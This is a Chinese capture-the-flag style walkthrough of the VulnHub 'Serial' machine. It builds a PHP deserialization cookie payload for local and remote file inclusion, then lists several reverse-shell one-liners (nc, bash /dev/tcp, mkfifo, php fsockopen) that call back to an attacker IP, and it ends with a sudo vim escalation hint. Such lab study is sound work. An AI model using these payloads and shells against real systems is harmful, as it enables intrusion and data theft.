vulnhub serial讲解

目录

环境搭建

下载

漏洞过程详解

1.信息收集

2.爆破目录

3.文件分析

4.反弹shell


环境搭建

下载

https://download.vulnhub.com/serial/serial.zip

 

你会得到一个这样的文件,这里使用VMware新建一个虚拟机,这里记录比较重要的几部分。

 

 

这里就是使用我们刚才下过来的。

 

漏洞过程详解

1.信息收集

netdiscover -i eth0 -r 10.140.98.0/24

nmap通常我喜欢使用sS参数,它相对其他参数扫描速度更快且更加隐蔽,而且不会扫崩一些端口,有80端口访问网页看一下。

 

这里访问已经提示了cookie,这里查看cookie看一下。

F12拦包,这里查看一下,请求头中的cookie,有user这个参数,首先这个名字就有点问题了吧,哈哈哈,接下来就是看内容,大写字母小写字母数字最后一个%3D明显就是等号,这里就可以大胆猜测这是base64编码后的一串字符串。

这里解出来很明显就是一串PHP序列化字符串,那肯定是有文件让你分析的,这里找找没有找到,准备爆破目录。

2.爆破目录

这里使用dirsearch爆破目录,这里访问/backup

这里我们得到了,三个文件这里分析一下。

3.文件分析

这里我们看这三个文件

 index.php

<?php
	include("user.class.php");

	if(!isset($_COOKIE['user'])) {
		setcookie("user", base64_encode(serialize(new User('sk4'))));
	} else {
		unserialize(base64_decode($_COOKIE['user']));
	}
	echo "This is a beta test for new cookie handler\n";
?>

 user.classs.php

<?php
  include("log.class.php");

  class Welcome {
    public function handler($val) {
      echo "Hello " . $val;
    }
  }

  class User {
    private $name;
    private $wel;

    function __construct($name) {
      $this->name = $name;
      $this->wel = new Welcome();
    }

    function __destruct() {
      //echo "bye\n";
      $this->wel->handler($this->name);
    }
  }

?>

 log.class.php

<?php
  class Log {
    private $type_log;

    function __costruct($hnd) {
      $this->$type_log = $hnd;
    }

    public function handler($val) {
      include($this->type_log);
      echo "LOG: " . $val;
    }
  }
?>

         这里分析一下index.php通过cookie会base64解密一次然后进行反序列化,然后 user.classs.php,这里看到他include("log.class.php");。

        这里先观察 log.class.php,这里发现了include这个可以这个好,而且可以我们自己定义他读取文件或者远程命令执行。

        查看他这是定义了一个handler方法,看看那里定义这个方法, user.classs.php中有$this->wel->handler($this->name);,这里修改__construct魔术方法中的$this->wel = new Welcome();为$this->wel = new Log();就可以了。

exp

log.class.php

<?php

  class Log
  {
      private $type_log="/etc/passwd";

      public function __costruct($hnd)
      {
          $this->$type_log = $hnd;
      }

      public function handler($val)
      {
          include($this->type_log);
          echo "LOG: " . $val;
      }
  }

user.class.php

<?php

  include("log.class.php");

  class Welcome
  {
      public function handler($val)
      {
          echo "Hello " . $val;
      }
  }

  class User
  {
      private $name;
      private $wel;

      public function __construct($name)
      {
          $this->name = $name;
          $this->wel = new Log();
      }

      public function __destruct()
      {
          //echo "bye\n";
          $this->wel->handler($this->name);
      }
  }
  $a = new User('adsf', 'asfd');
  $b = urlencode(serialize($a));
  $c = str_replace('%00', '%5Cx00', $b);
  echo urldecode($c)."\n";

这里得到

O:4:"User":2:{s:10:"\x00User\x00name";s:4:"adsf";s:9:"\x00User\x00wel";O:3:"Log":1:{s:13:"\x00Log\x00type_log";s:11:"/etc/passwd";}}

这里选择在线网站加密,发现修改cookie以后,并没有没有回显这里解密一下看看。

发现其实这里并没有被解析,这里是因为 private私有的缘故,会有不可见字符,这里用\x00替换了,但是发现这里并没有被解析,感觉是网站加密有问题,这里直接使用python来加密。

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjQ6ImFkc2YiO3M6OToiAFVzZXIAd2VsIjtPOjM6IkxvZyI6MTp7czoxMzoiAExvZwB0eXBlX2xvZyI7czoxMToiL2V0Yy9wYXNzd2QiO319

这里再重新解密,发现这里解析了。

 

cookie传
payload:user=Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjQ6ImFkc2YiO3M6OToiAFVzZXIAd2VsIjtPOjM6IkxvZyI6MTp7czoxMzoiAExvZwB0eXBlX2xvZyI7czoxMToiL2V0Yy9wYXNzd2QiO319

 使用hacker就可以

​ 

 既然测试可以,这里就尝试远程包含,这里在本地搭建一个网站,在网站根目录下面写一个shell.txt,这里我原本使用的shell.php但是没有成功,之后想想应该是他远程包含,访问这个站但是php是后端语言所以前端是没有的,但是有的人疑惑为什么txt会可以,因为include是按php执行的。

 

O:4:"User":2:{s:10:"\x00User\x00name";s:4:"adsf";s:9:"\x00User\x00wel";O:3:"Log":1:{s:13:"\x00Log\x00type_log";s:30:"http://10.140.98.245/shell.txt";}}

payload:user=Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjQ6ImFkc2YiO3M6OToiAFVzZXIAd2VsIjtPOjM6IkxvZyI6MTp7czoxMzoiAExvZwB0eXBlX2xvZyI7czozMDoiaHR0cDovLzEwLjE0MC45OC4yNDUvc2hlbGwudHh0Ijt9fQ==

4.反弹shell

 这里我们尝试反弹shell,这里尝试了。

nc 10.140.98.245 4444 -e /bin/bash

bash -i >& /dev/tcp/10.140.98.245/4444 0>&1

/bin/sh 0</tmp/backpipe | 10.140.98.245 4444 1>/tmp/backpipe

mknod backpipe p && telnet 10.140.98.245 4444 0<backpipe | /bin/bash 1>backpipe


上面都不行,下面这个可以。

php -r '$sock=fsockopen("10.140.98.245",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
url编码一下
php%20-r%20%27%24sock%3Dfsockopen%28%2210.140.98.245%22%2C4444%29%3Bexec%28%22/bin/bash%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27


rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.140.98.245 4444 >/tmp/f
url编码一下
rm%20/tmp/f%3Bmkfifo%20/tmp/f%3Bcat%20/tmp/f%7C/bin/bash%20-i%202%3E%261%7Cnc%2010.140.98.245%204444%20%3E/tmp/f

whoami看一下,额是一个低权限用户。。

在根目录发现一个文件credentials.txt.bak

通常我们都对bak这种后缀的比较敏感,这种通常都是一些备份文件。

这里我们得到了sk4用户这个密码。

还是没有权限。

这里sudo -l发现一个好东西 NOPASSWD: /usr/bin/vim

 这里输入命令sudo vim

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

练习两年半的篮球选..哦不对安全选手

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值